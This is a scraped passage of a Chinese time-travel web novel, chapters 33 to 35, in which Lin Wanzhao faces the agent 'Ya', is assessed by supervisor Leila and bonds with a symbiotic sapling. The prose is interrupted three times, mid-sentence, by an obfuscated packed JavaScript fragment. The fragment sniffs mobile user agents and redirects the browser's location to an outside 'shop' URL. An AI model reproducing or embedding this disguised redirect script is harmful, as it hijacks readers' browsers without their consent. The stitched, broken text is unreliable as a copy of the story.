l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872188|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落地时脚下踩到了什么硬物,她踉跄了一下才站稳。 手电筒的光扫过四周。 这是一个大约十平米的空间,四壁是光滑的金属板,已经锈蚀得很严重。靠墙有一张金属桌子,桌上散落着一些仪器——玻璃管、金属线圈、还有几个类似仪表盘的东西,表盘上的指针都停在某个位置。 最显眼的是房间中央的一个台座。台座上固定着一个装置,大约有行李箱大小,外壳是银灰色的金属,上面布满了复杂的纹路。那些纹路……和林晚照银镯上的纹路有几分相似。 “锚点一号”。 装置表面落满了灰,但有几个指示灯还在微弱地闪烁,发出幽绿色的光。光很有节奏,一闪,一闪,和银镯的震动频率渐渐同步。 林晚照走近。台座旁边有个控制面板,上面有几个按钮和一个旋钮。按钮上的字迹已经模糊,但她能认出几个英文单词——ON、OFF、CALIBRATION(校准)。 她伸出手,想要触碰。 “别动。” 声音从身后传来。 林晚照浑身一僵,猛地转身。手电筒的光柱扫过去,照在门口——不,是那个窗口。 窗口外站着一个人。 穿着军大衣,戴着棉帽,帽檐压得很低。但林晚照认得这身形。 是那天和张组长在小门前见面的男人。 “你是谁?”林晚照后退一步,背靠在了金属台座上。台座的边缘硌着她的腰,很疼。 男人没有回答。他抬手,摘下了棉帽。 手电筒的光照在他脸上。那是一张很普通的脸,四十岁左右,五官平淡,属于扔进人堆就找不着的类型。但那双眼睛——眼睛里没有温度,像两颗黑色的玻璃珠。 “观测员074号,”男人开口,声音很平,没有任何起伏,“终于见面了。” 林晚照的手在身后摸索。指尖碰到了控制面板上的某个按钮。 “你是‘清扫者’?”她问,声音尽量保持平稳。 “我是‘守夜人’第七小队队长,代号‘鸦’。”男人向前走了一步,跨过窗口,进入房间。他的动作很轻,几乎没有声音,“我的任务是回收失控的观测站遗址,以及——处理掉所有不该存在的‘异常’。” “我不是异常。”林晚照说,“我有编号,有任务。” “你的任务已经失败了。”‘鸦’摇了摇头,“从你的空间出现裂缝开始,你就已经失控了。失控的观测员,必须被清除。” 他伸出手。手里握着一个黑色的、像遥控器一样的东西。 “这是空间干扰器。”他平静地解释,“按下按钮,你的银镯会过载,空间会崩塌。你会死得很……干净,不会留下任何痕迹。” 林晚照的脑子里一片空白。但她身后,手指已经摸到了控制面板上的旋钮。旋钮很紧,锈死了。 她用力一拧。 咔嗒。 旋钮转动了一格。 “锚点一号”表面那些幽绿色的指示灯突然全部熄灭。然后,一种低沉的能量嗡鸣声从装置内部传来,越来越响,越来越密集。 ‘鸦’的脸色第一次变了:“你做了什么?!” 林晚照不知道。她只是凭直觉拧了那个旋钮。但现在,她能感觉到——整个房间的空气都在震动。墙壁上的锈屑簌簌落下,金属桌面上的仪器开始嗡嗡作响。 “停下它!”‘鸦’厉声道,“失控的能量核心会引发时空坍塌!整座山都会消失!” 他冲过来。林晚照侧身躲开,同时一脚踢向控制面板。更多的按钮被触动,指示灯疯狂闪烁。 嗡鸣声变成了尖啸。 房间开始摇晃。岩壁开裂,碎石滚落。那个银灰色的装置表面,裂纹像蜘蛛网一样蔓延开来。 “你疯了!”‘鸦’稳住身形,举起手中的干扰器,“那就一起死!” 他按下按钮。 林晚照手腕上的银镯瞬间变得滚烫,烫得她尖叫出声。她感觉有什么东西在镯子里炸开了——不是物理的爆炸,是空间的震荡。眼前的一切开始扭曲、重叠,墙壁变成了流动的液体,地面像波浪一样起伏。 她看见‘鸦’的身体也开始变形,像融化的蜡像。 她看见装置表面的裂纹里,迸发出刺眼的白光。 她看见白光深处,有一双眼睛——037号的眼睛,正焦急地看着她。 然后,037号的嘴唇动了动,说了三个字。 口型很清楚。 是: 跳进来。 林晚照没有犹豫。她用尽最后的力气,纵身扑向那道白光。 身后,‘鸦’的怒吼声被淹没在巨大的能量轰鸣中。 眼前,只剩下无尽的光。 34.时空法庭的审判 林晚照醒来时,首先感知到的不是光,而是声音。 一种极细微的、持续不断的嗡鸣,像无数只蜜蜂在很远的地方振动翅膀。然后是触感——她躺着的表面异常平滑,温凉,像打磨过的大理石,但又带着某种生物材质特有的柔韧。 她睁开眼睛。 纯白。 不是雪地的白,也不是墙壁的白,而是一种绝对的、毫无杂质的纯白。天花板、墙壁、地面,全都是这种白,白得令人眩晕。没有接缝,没有装饰,连光源都看不见,但整个空间均匀地亮着。 她撑起身体。身上的衣服还是那套下井时的棉袄和雨披,但已经干了,沾着的煤灰和泥浆也不见了,干净得像刚洗过。手腕上的银镯还在,但此刻黯淡无光,摸上去是普通的金属温度。 “观测员074号,您已恢复意识。” 声音从四面八方传来,温和,中性,听不出性别。标准的普通话,每个字的音调都完美得不像真人。 林晚照站起来,环顾四周。房间大约二十平米,除了她刚才躺的那个矮台,空无一物。没有门,没有窗,就像一个密封的盒子。 “我在哪里?”她问,声音在平滑的墙壁间碰撞,产生轻微的回音。 “‘灯塔’第七区临时收容室。”那个声音回答,“请保持平静,您的身体状况正在监测中。” “你们是谁?” “我们是‘灯塔’。”声音停顿了一下,“更准确地说,是‘灯塔计划’的中央管理系统。” 林晚照的心沉了下去。郑卫国提到过“灯塔计划”,笔记本上也提到过,但那都是模糊的概念。现在,这个概念变成了实实在在的、把她关起来的纯白房间。 “为什么带我来这里?” “不是‘带’,是‘回收’。”声音纠正道,“您在失控的时空稳定器能量场中幸存,并被自动应急协议传送至最近的安全站点。根据《时空观测员管理守则》第37条,所有遭遇重大异常事件的观测员,必须接受中央系统的审查与评估。” 审查。评估。审判。 林晚照深吸一口气,强迫自己冷静下来。慌乱没有用,她需要信息。 “我要见负责人。”她说,“见能说话、能回答我问题的人。” “请求收到。正在转接。” 纯白的墙壁忽然泛起涟漪。不是视觉上的比喻,而是真的像水波一样荡漾开来。涟漪中心,一个身影缓缓浮现——从透明到半透明,再到实体。 是个女人。 看起来三十多岁,短发,面容清秀,穿着银灰色的连体制服,剪裁简洁,没有任何标识。她的眼睛很特别,瞳孔是淡淡的银色,看人时有种非人的通透感。 林晚照的呼吸停滞了一瞬。 这张脸……她在裂缝里见过。虽然更年轻,更健康,但眉眼间的轮廓一模一样。 “037号?”她脱口而出。 女人——037号——微微点头:“我是蕾拉,观测员037号,现任‘灯塔’第七区监察长。”她的声音和刚才的系统音不同,有温度,但依然克制,“林晚照同志,请坐。” 她抬手示意。房间中央的地面升起两个座椅,同样是纯白的,线条流畅。 林晚照坐下,盯着对面的人:“矿井裂缝里的也是你?” “是我的意识投影。”蕾拉在她对面坐下,姿势端正,“当观测员遭遇重大危机时,残留的意识片段可能会依附在时空薄弱点上。我在1972年的一次任务中……失联。矿井里的观测站遗址,是我最后的工作地点。” “失联?你不是死了?” “在时空中,‘死亡’的定义很复杂。”蕾拉银色瞳孔里闪过一丝波动,“我的身体在1972年瓦解,但部分意识被困在时空夹缝中。我能感知到现实世界的变化,能偶尔投射信息,但无法真正脱离。” 林晚照想起裂缝里那双焦急的眼睛,那个无声的“快逃”。 “你一直在警告我。” “是的。”蕾拉点头,“从你的空间出现裂缝开始,我就感知到了你的存在。但我能做的很有限——裂缝是双向通道,你能听见未来的声音,我也能透过它传递只言片语。可惜……” 她顿了顿:“你收到我的警告时,往往已经太晚了。” 房间陷入短暂的沉默。只有那种细微的嗡鸣声还在持续,像这个空间的背景音。 “那么,”林晚照开口,“所谓的‘审判’是什么?” “不是审判,是评估。”蕾拉纠正,“我们需要确认,你是否还能继续担任观测员074号的职责。更重要的是,我们需要弄清楚,你的空间为什么会出现裂缝——那是不正常的。” “不正常?” “非常不正常。”蕾拉身体前倾,银色瞳孔盯着林晚照,“每个观测员的空间都是独立的、封闭的子系统。它不应该与任何外部时空产生连接,更不应该出现裂缝。这就像一艘潜水艇突然破了个洞——水会涌进来,但更危险的是,潜艇里的东西也可能泄露出去。” 林晚照想起裂缝里那些未来的声音:1984年深圳的价格双轨制讨论,乡镇企业的政策信息…… “那些泄露的信息,”她低声说,“会造成什么影响?” “取决于谁听到了。”蕾拉的表情严肃起来,“如果被那个时代不该知道的人知道,可能会引发历史进程的偏移。小到个人命运的改动,大到国家政策的调整——最坏的情况,可能导致整个时间线分叉,产生不可控的平行现实。” “那为什么会出现裂缝?”林晚照追问,“是我做错了什么吗?” 蕾拉沉默了片刻。她抬起手,在空中虚划了一下。纯白的墙壁上立刻浮现出一幅三维星图——无数光点在黑暗中闪烁,有些静止,有些缓慢移动。 “这是当前活跃的观测点分布。”蕾拉说,“每个光点代表一名在岗观测员。你看这里——” 她指向星图边缘一个闪烁的红点。红点周围有细微的裂纹状光晕。 “这是你的位置。”蕾拉说,“而裂缝的产生原因,系统分析有两个可能:第一,你在无意识中过度使用了空间能力,导致子系统过载。第二……” 她看向林晚照:“有外部力量在试图侵入你的空间。” 林晚照的后背一阵发凉。“守夜人”?“捕猎者”?还是那个“清扫者”? “那个代号‘鸦’的男人,”她问,“他是什么人?” “‘守夜人’第七小队队长,专门负责处理失控观测站和异常观测员。”蕾拉的脸色沉了下来,“但他的行动……不符合标准流程。正常情况下,‘守夜人’在清除目标前,必须获得中央系统的批准。而他显然没有。” “他想杀我。” “他想让你‘消失’。”蕾拉纠正,“彻底抹除你在时空中存在过的所有痕迹。这比死亡更彻底。” 房间里的温度似乎降低了几度。林晚照抱紧手臂,棉袄突然显得很单薄。 “那我该怎么办?”她问,声音里终于透出一丝疲惫。 蕾拉看着她,银色的瞳孔里有复杂的神色:“林晚照同志,我需要你诚实地回答几个问题。这关系到对你的最终评估。” “你问。” “第一,你是否曾经试图用空间能力改变重大历史事件?” “没有。”林晚照回答得很干脆,“我只想活下去,只想让红星公社的人过得好一点。” “第二,你是否向那个时代的任何人透露过未来信息?” “……没有。”她顿了顿,“但我用未来的知识解决过一些问题。比如养猪场的通风设计,比如饲料配方改良。” “技术改良是被允许的。”蕾拉点头,“只要不超出那个时代的认知框架。第三——” 她停顿了一下,语气变得更严肃:“你是否感知到空间里有‘其他存在’?” 这个问题让林晚照愣住了。其他存在?除了她自己,空间里只有黑土地、灵泉、那些物资…… 等等。 她想起裂缝深处那个呼吸声。那个像巨大生命体一样的、一起一伏的呼吸声。 “有。”她低声说,“裂缝里……有东西在呼吸。” 蕾拉的脸色变了。她猛地站起来,手在空中快速划动。墙壁上的星图放大,红点周围的裂纹被高亮标注,旁边浮现出一串快速滚动的数据。 “果然……”她喃喃道。 “是什么?”林晚照也站起来。 蕾拉转身看着她,银色瞳孔里第一次出现了林晚照能看懂的情绪——那是担忧,甚至是一丝恐惧。 “你的空间,”她一字一句地说,“可能被‘寄生’了。” 寄生。 这个词像冰锥刺进林晚照的脑子里。 “什么意思?”她的声音有点发干。 “时空中有一些……我们无法完全理解的存在。”蕾拉选择着措辞,“它们没有实体,没有固定形态,像寄生虫一样依附在时空结构上。正常情况下,它们处于休眠状态,但当时空出现裂缝时——” “它们会钻进来。”林晚照接上了后半句。 “对。”蕾拉点头,“钻进你的空间,以你的精神力为食。最初只是微弱的呼吸声,然后是梦境干扰,再然后……它们可能会尝试夺取控制权。” 夺取控制权。林晚照想起裂缝扩张时那股强大的吸力,想起自己意识几乎被拽进去的瞬间。 “怎么除掉它?” “不知道。”蕾拉坦诚得令人绝望,“‘灯塔’成立五十年,记录过三例寄生事件。两名观测员彻底失控,被强制清除。一名观测员……”她顿了顿,“自我了断,连空间一起湮灭。” 房间陷入死寂。连那种细微的嗡鸣声都仿佛消失了。 林晚照站在那里,感觉脚下的纯白地面像在旋转。她以为自己最大的敌人是“守夜人”,是那些想抹除她的人。但现在,敌人可能就在她体内,在她最依仗的空间里。 “所以,”她听见自己的声音很飘,“我的评估结果是什么?会被清除吗?” 蕾拉没有立刻回答。她走到墙壁前,手按在那些滚动的数据上。数据流停住,凝聚成一行文字: 观测员074号,风险评估:高。建议:严密监控,必要时启动清除程序。 建议清除。 林晚照闭上眼睛。她想起红星公社的养猪场,想起陈大牛憨厚的笑,想起陈铁柱沉默的守护,想起王晓芬端来的红糖姜汤。那些真实的、温暖的、她拼命想要守护的东西。 她不能死在这里。至少不能以这种不明不白的方式死去。 “如果我能在规定时间内完成核 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872189|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心任务呢?”她睁开眼睛,盯着蕾拉,“如果我能在1977年底之前,让红星公社的生猪存栏量达到五百头,农民人均收入提高50%——我还能继续存在吗?” 蕾拉转过身,银色瞳孔里闪过一丝惊讶:“你知道核心任务?” “郑卫国告诉我的。” “郑卫国……”蕾拉重复这个名字,眉头微皱,“他是‘守夜人’第三小队的卧底,负责监控你。但他告诉你的信息,基本属实。” 她走回座椅旁,但没有坐下:“核心任务的完成,确实能极大提升你的评估等级。但前提是——你必须控制住寄生体。否则,就算任务完成,你也会被判定为‘高风险不可控单位’。” “怎么控制?” “增强你自己的精神力。”蕾拉说,“寄生体以精神力为食,但如果你足够强大,它就无法吞噬你。相反,你可能……反过来控制它。” 控制一个寄生在空间里的未知存在。 听起来像天方夜谭。 但林晚照没有选择。 “我需要怎么做?” 蕾拉看着她。这个年轻的、来自1975年的女知青,穿着破旧的棉袄,站在纯白的未来房间里,眼神却坚定得像淬过火的钢。 “我会给你一样东西。”蕾拉说,“‘灯塔’开发的精神力训练程序,可以植入你的空间。但这个过程有风险——可能会刺激寄生体提前苏醒。” “给我。”林晚照毫不犹豫。 蕾拉抬手。房间中央升起一个银色圆柱,顶部打开,露出一个半透明的晶体球。球体内部有细碎的光点在流动,像银河。 “把手放上去。”蕾拉说,“程序会自动传输。传输过程可能会……不舒服。” 林晚照走上前,伸出右手。指尖触碰到晶体球的瞬间,一股冰凉的感觉顺着手臂蔓延,直达大脑。 然后—— 疼痛。 不是□□的疼痛,而是意识深处的撕裂感。像有什么东西硬生生挤进她的脑子,在里面扎根、生长。无数陌生的信息碎片在眼前闪过:复杂的公式,奇怪的符号,扭曲的几何图形…… 她咬紧牙关,没有出声。额头渗出冷汗,顺着脸颊滑落。 晶体球的光芒越来越亮,最后变成刺眼的白光。当光芒达到顶点时,球体“啪”地一声碎裂,化作无数光点消散。 传输完成。 林晚照踉跄后退,蕾拉扶住她。 “程序已植入。”蕾拉的声音在耳边响起,“你可以在空间里激活它。但记住——每天最多训练一小时,超过这个时间,你的大脑可能会受损。” 林晚照站稳,感觉脑子里多了些什么。像多了一个房间,房间里放着未知的工具。 “谢谢。”她说。 “不用谢我。”蕾拉松开手,表情复杂,“林晚照同志,我必须告诉你一件事。” “什么?” “你手上的银镯,”蕾拉指向她的手腕,“不只是空间载体。它也是一个……信标。” “信标?” “向‘灯塔’发送实时定位和生命体征的信标。”蕾拉说,“正常情况下,这是为了观测员的安全。但现在,它也可能成为‘守夜人’追踪你的工具。” 林晚照低头看着镯子。温润的银色,熟悉的纹路。她一直以为这是外婆的遗物,是她的金手指,是她在陌生时代安身立命的依仗。 现在它变成了双刃剑。 “能取下来吗?” “不能。”蕾拉摇头,“它与你的生命体征绑定,强行取下会导致空间崩溃。但……我可以帮你暂时屏蔽它的信号发射功能。” 她再次抬手。墙壁上浮现出一个控制界面,蕾拉快速操作着。 “屏蔽只能维持七十二小时。”她说,“七十二小时后,信号会自动恢复。到那时,‘守夜人’一定会发现你去了哪里,做了什么。” 七十二小时。三天。 “足够了。”林晚照说。 屏蔽程序启动。手腕上的银镯微微一震,表面泛起一层极淡的蓝光,然后恢复正常。 “现在,”蕾拉看着她,“你该回去了。” “回哪里?” “1975年。红星公社。”蕾拉说,“矿井的时空扰动已经平息,山体坍塌被封解释为自然事故。陈铁柱还在井口等你。” 陈铁柱。林晚照心里一紧。 “我怎么回去?” 蕾拉指向房间的另一面墙。墙壁无声滑开,露出一个圆形的传送平台。平台表面流动着幽蓝的光。 “站上去。”蕾拉说,“传送坐标已设定。但林晚照同志,请记住——” 她走到林晚照面前,银色瞳孔直视着她的眼睛: “你只有两年时间。控制寄生体,完成任务,证明你值得存在。否则……下一次见面,我可能就不得不执行清除命令了。” 林晚照点头。她没有说“我会努力的”或者“我一定做到”,只是点了点头。 然后转身,走向传送平台。 站上去的瞬间,幽蓝的光包裹了她。视野开始模糊,蕾拉的身影在光中渐渐淡去。 最后时刻,她听见蕾拉的声音,很轻,像叹息: “还有,小心郑卫国。他……不完全是卧底。” 光吞没了一切。 35.树苗的低语 林晚照在陈铁柱的怀里醒来。 不是比喻,是真的——她睁开眼睛时,发现自己被陈铁柱紧紧抱着,他的手臂箍得她肋骨发疼,棉袄前襟上全是融化的雪水混着泥浆,湿漉漉地贴着她的脸。 “铁柱哥……”她声音发哑,喉咙像被砂纸磨过。 陈铁柱的身体猛地一震。他松开手,退后半步,借着手里马灯昏黄的光,死死盯着她的脸。那眼神复杂极了——有惊恐,有狂喜,有不敢置信,还有某种林晚照看不懂的、深沉的痛苦。 “三个小时。”他开口,声音比她还哑,“你进去了三个小时。然后山就震了,洞口塌了。我以为……”他说不下去了。 林晚照撑起身子。她躺在矿井口外的雪地上,周围一片狼藉——碎石、断木、被震落的枯枝。洞口彻底不见了,被几块巨大的岩石堵得严严实实,上面还覆盖着新落的雪。 她低头看自己的手。干净,没伤。再摸摸脸,也是干净的。只有衣服还保持着下井时的脏污,证明她确实进去过。 “我没事。”她说,试图站起来,腿却一软。 陈铁柱扶住她。他的手在抖。 “下面发生了什么?”他问。 林晚照的大脑飞速运转。蕾拉说矿井的时空扰动已经平息,山体坍塌会被解释为自然事故。她需要一套说辞,一套能解释这三个小时、能解释她为什么还活着的说辞。 “我找到了一个旧矿洞。”她慢慢说,语速很慢,像是在回忆,“很深,里面有以前矿工留下的东西。我想多看一会儿,结果……好像碰到了什么支撑结构,洞就开始塌。我拼命往外跑,最后那段是爬出来的。” 半真半假。真的有旧矿洞,真的有坍塌。假的只是原因和细节。 陈铁柱盯着她看了很久。马灯的光在他脸上跳跃,照亮他紧抿的嘴唇和眼中的血丝。 “以后再也不能一个人干这种事了。”他最终说,语气重得像发誓,“听见没有?” “听见了。”林晚照点头。她心里涌起一阵愧疚——对这个一直守护她的男人撒谎,不好受。但她没有选择。 陈铁柱背起她往山下走。他的背很宽,脚步很稳,即使背着一个人,在积雪的山路上也走得稳稳当当。林晚照趴在他背上,能听见他粗重的呼吸声,能感觉到他棉袄下绷紧的肌肉。 “铁柱哥,”她轻声说,“谢谢。” 陈铁柱没回答。他只是走得更快了些。 回到养猪场时,天已经蒙蒙亮了。雪停了,东边的天空泛出鱼肚白。工地上的马灯还亮着几盏,陈大牛和几个村民守在猪舍边,看见他们回来,全都围了上来。 “晚照!你没事吧?!”陈大牛声音都变了调。 “我没事,陈叔。”林晚照从陈铁柱背上下来,“让大家担心了。” “能没事吗!”王秀兰红着眼睛冲过来,“那山震得,村里房子都在晃!陈队长疯了似的往山上跑,谁也拦不住!” 林晚照看向陈铁柱。他别过脸,耳朵有点红。 “真没事。”她重复,“就是矿井塌了,以后去不了了。大家别围着了,该休息休息,今天还得干活呢。” 好说歹说,人群才散开。陈大牛留下来,低声问:“晚照,你真没事?我咋觉得你脸色不太对。” 林晚照摸了摸自己的脸。她确实感觉不太对——不是身体上的,是精神上的。脑子里多了那个训练程序,像多了个器官,隐隐约约能感觉到它的存在。还有空间里那棵树苗…… “可能是吓着了。”她说,“陈叔,我今天想歇歇。” “应该的,应该的!”陈大牛连忙说,“你回屋躺着,我让秀兰给你炖个蛋羹。” 回到知青点,王晓芬和李秀英还没起床。林晚照轻手轻脚地爬上床,放下蚊帐。她没有躺下,而是盘腿坐好,闭上眼睛。 意识沉入空间。 黑土地依旧肥沃,灵泉汩汩流淌。但一切都不一样了——在空间最边缘,靠近原本裂缝的位置,那棵半透明的树苗正静静立着。 它不高,大概到膝盖,树干细得像手指,呈现出一种奇异的半透明质感,像水晶又像凝胶。枝叶稀疏,每片叶子都薄如蝉翼,叶脉里流淌着淡银色的光。树苗周围萦绕着极淡的雾气,雾气随着某种节奏缓缓流动。 那个节奏,林晚照很熟悉——是裂缝里的呼吸声。 她走近。树苗似乎感应到她的到来,枝叶轻轻摇曳,发出极细微的沙沙声。不是风吹动叶子的声音,更像是……低语。 她蹲下身,伸出手,犹豫了一下,指尖轻轻触碰树干。 冰凉。但不是死物的冰凉,而是像清晨露水的那种凉,带着生命力。 瞬间,一股微弱的信息流顺着指尖涌进她的意识。不是语言,不是图像,而是一种纯粹的感觉——好奇。温和的、懵懂的、像婴儿初睁眼打量世界的那种好奇。 林晚照猛地缩回手,后退几步。 寄生体?这就是蕾拉说的、寄生在她空间里的东西?可它感觉起来……并不邪恶。 树苗的枝叶垂了下来,像是委屈。 她盯着它看了很久。脑子里那个训练程序在微微发烫,似乎在提示她什么。她集中精神,尝试激活程序。 没有反应。程序像个上了锁的房间,她知道它在,但打不开。 蕾拉说需要训练,需要增强精神力。可怎么开始? 树苗又动了。这次,它的一片叶子缓缓伸长,像触手一样,指向黑土地的某个方向。林晚照顺着看去——那里种着一小片麦子,已经成熟了,金黄的麦穗沉甸甸地垂着。 她走过去,用意念收割。麦秆自动倒下,麦粒堆成一堆。这个过程她已经做过无数次,熟练得几乎成了本能。 但今天,有什么不一样了。 当她集中精神时,她能感觉到——有一股微弱的力量在帮她。不是加强她的意念,而是在她意念的“缝隙”里填补、优化。就像两个人合力搬东西,一个主扛,一个在旁辅助托底。 她看向树苗。树苗的枝叶轻轻晃动,叶脉里的银光流转得快了些。 它在帮忙。 林晚照的心跳加快了。她尝试更复杂的操作——将黑土地重新分区,一部分继续种麦子,一部分改种白菜,还有一小块地空出来。 树苗的“辅助”更明显了。她能感觉到那股力量在帮她规划布局,优化种植密度,甚至调整灵泉水的灌溉路线。这不是控制,是协作。 她再次走近树苗,这次没有触碰,只是看着它。 “你能听懂我说话吗?”她用意念问。 树苗静止了。然后,一片叶子缓缓抬起,上下点了点——像点头。 林晚照深吸一口气。空间里的空气带着灵泉的清新气息,吸进肺里,让她的头脑清醒了些。 “你是谁?”她问。 树苗没有回答。它只是将枝叶指向自己的根部。林晚照看去——树根扎在黑土地里,半透明的根须深入土壤,和土地的边界融为一体。 它扎根在这里。它就是空间的一部分。 或者说,它正在成为空间的一部分。 训练程序突然剧烈发烫。林晚照闷哼一声,感觉脑子里像有根针在刺。一股信息强行涌入: 检测到共生体初步链接。建议:建立双向沟通协议。警告:共生体智力等级未知,风险系数高。是否继续? 共生体?不是寄生体? 林晚照盯着那行浮现在意识里的文字。蕾拉说的是“寄生”,但程序判定为“共生”。差别很大——寄生是单方面索取,共生是相互依存。 她犹豫了。程序还在等待她的选择,那股刺痛感持续着。 树苗似乎感应到她的痛苦,枝叶无风自动,一股温和的凉意顺着她的意识蔓延上来,缓解了刺痛。那凉意很小心,像怕碰伤她。 林晚照看着树苗。看着它叶脉里流淌的银光,看着它微微摇曳的姿态。 “继续。”她做出选择。 刺痛感瞬间增强,然后又骤然消失。取而代之的是一种奇异的连接感——像是脑子里多了一条通道,通道那头连着另一个意识。 那个意识很模糊,像蒙着厚厚的雾。但她能感觉到它的情绪:好奇,温和,还有一丝……依恋? 她尝试传递一个简单的意念:“你好。” 通道那头传来回应。不是语言,而是一个画面:一株幼苗在黑暗中发芽,伸出根须,触碰到温暖的土壤和甘甜的水源。那是满足的、安心的感觉。 树苗在表达它的来历——它来自黑暗(裂缝),在这里(空间)找到了生存的条件。 “你会伤害我吗?”林晚照问。 画面变了。变成幼苗用枝叶轻轻触碰周围的麦苗,小心翼翼,生怕碰伤。然后是它协助收割、协助规划的画面。最后,是一个简单的意念:保护。 它想保护这个空间。因为这里是它的家。 林晚照沉默了。她不知道该不该相信。蕾拉的警告还在耳边,程序的风险提示也还在。但此刻,她感受不到任何恶意。 “我需要变强。”她传递意念,“你能帮我吗?” 树苗的枝叶全部舒展开来,银光大盛。一股纯净的、温和的能量顺着通道涌来,不是强行灌注,而是像溪流一样缓缓流淌。林晚照感到自己的意识被包裹、被滋养,那种疲惫感渐渐消退,头脑变得异常清明。 与此同时,训练程序自动激活了。 不再是上锁的房间,而是一个展开的界面。上面有进度条,有数据流,有各种她看不懂的符号。但最显眼的是一行字: 精神力强度:初级(1.2/10) 共生体同步率:7% 建议训练:基础冥想(每日1小时) 同步率?林晚照看向树苗。树苗轻轻摇曳,传递来一个肯定的意念。 原来如此。训练程序需要共生体的配合才能激活。而共生体——这棵奇怪的树苗——愿意配合。 她退出空间,睁开眼睛。天已经大亮了,阳光透过窗户照进来,在泥地上投出方形的光斑。王晓芬和李秀英正在灶台前做早饭,玉米粥的香味飘过来。 手腕上的银镯安安静静,没有发光,没有震动。七十二小时的屏蔽期已经开始倒计时。 她下床,走到窗边。养猪场方向传来施工的声音——陈大牛带着人又开始干活了。生活还在继续,像一条河,不管河里藏着什么暗流,表面总要平静地流淌。 “晚照,吃饭了。”王晓芬端着碗过来。 玉米粥很稠,里面加了红薯块,甜丝丝的。林晚照慢慢喝着,脑子里却在快速思考。 共生体。训练程序。七十二小时。郑卫国。“捕猎者”。 碎片太多了,她需要理清头绪。 首先,共生体暂时不是威胁,甚至是助力。但它来自裂缝,本质未知,需要谨慎对待。 其次,训练必须开始。精神力增强是控制一切的关键。 第三,七十二小时内,她是“隐形”的。这是她的窗口期。 第四,郑卫国的真实立场成谜。蕾拉说他“不完全是卧底”,这意味着什么? 第五,“捕猎者”要进场了。那会是谁?李明?还是另有其人? 一碗粥喝完,她有了计划。 上午,她去了养猪场。陈大牛看见她,赶紧跑过来:“你怎么起来了?不是让你歇着吗?” “躺不住。”林晚照笑笑,“陈叔,我有个想法。” “你说。” “猪舍建好了,但咱们的猪崽还没着落。”她说,“省农科院答应给的新品种,要开春才能到。但我想……咱们能不能自己先培育一批?” 陈大牛愣了:“自己培育?咋培育?” “去县种畜站看看。”林晚照说,“买几头好的种猪,咱们自己配种。这样不仅能提前有猪崽,还能慢慢改良品种。” 这是她早就想做的事,只是一直没腾出手。现在有了共生体的协助,也许能在养殖技术上做更多尝试。 陈大牛眼睛亮了:“这主意好!种畜站我熟,老王头是我老表。啥时候去?” “今天下午。”林晚照说,“越快越好。” “行!我去安排拖拉机!” 中午,林晚照回知青点收拾东西。她把那个笔记本仔细藏好,只带了必要的钱和票证。出门前,她犹豫了一下,还是进入了空间。 树苗长得快了些,已经到她大腿高了。枝叶更茂密,银光更盛。感受到她的到来,树苗传递来一个欢快的意念。 “我要出去一趟。”她说,“可能需要你的帮助。” 树苗的枝叶轻轻摆动,传递来肯定的回应。然后,一片叶子脱落,飘到她面前。叶子在半空中融化,化作一团银色的光,没入她的眉心。 一股清凉的感觉在脑中扩散。她感觉自己的思维更清晰了,感官也更敏锐——能听见远处猪舍施工的细节声响,能闻到空气中更细微的气味层次。 这是共生体给她的“加持”。 “谢谢。”她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875393|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传递意念。 树苗用枝叶做了个类似“摆手”的动作,意思是“不用谢”。 退出空间,林晚照深吸一口气。她感觉不一样了——不只是因为共生体的加持,更因为她终于有了明确的方向。 下午一点,拖拉机准时出发。开车的还是小赵,陈大牛坐在副驾驶,林晚照坐在车斗里。路面积雪化了,泥泞不堪,车开得很慢。 “晚照,”陈大牛转过头,“到了种畜站,你打算咋挑猪?” “看骨架,看精神头,看血缘。”林晚照说,“陈叔您有经验,您多把关。” “那是自然。”陈大牛憨笑,“不过你肯定有你的门道。我老表说了,你给他的那个防疫方子,管用!他站里好几头病猪都救回来了。” 林晚照笑了笑。那是她从灵泉水效果反推出来的土方,加了点空间里的草药,没想到真有用。 车开了一个多小时,才到县种畜站。那是个大院子,里面有几排砖房,还有几个大猪圈。空气里弥漫着牲口气味和消毒水的味道。 老王头五十多岁,干瘦,但眼神很亮。看见陈大牛,他迎上来:“老陈!咋这时候来了?” “有事求你。”陈大牛拍拍他肩膀,“这是林晚照同志,我们公社养猪场的负责人。想挑几头好种猪。” 老王头打量了林晚照几眼,点点头:“听说过你。那个科学养猪的项目,是吧?” “是。”林晚照上前,“王站长,麻烦您了。” “不麻烦,进来吧。” 老王头带着他们去看猪。圈舍打扫得很干净,猪也养得精神。林晚照仔细观察——她不懂相猪,但有了共生体的加持,她能看出更多细节:这头猪呼吸均匀,那头猪眼神灵动,还有一头骨架特别匀称。 她挑了五头:三头公猪,两头母猪。都是年轻健壮的。 “眼光不错。”老王头点头,“这几头都是站里最好的。不过价格……” “您说。” 老王头报了价。不便宜,但还在预算内。林晚照正要点头,忽然听见身后传来一个声音: “这几头猪,我要了。” 她转身。 是李明。 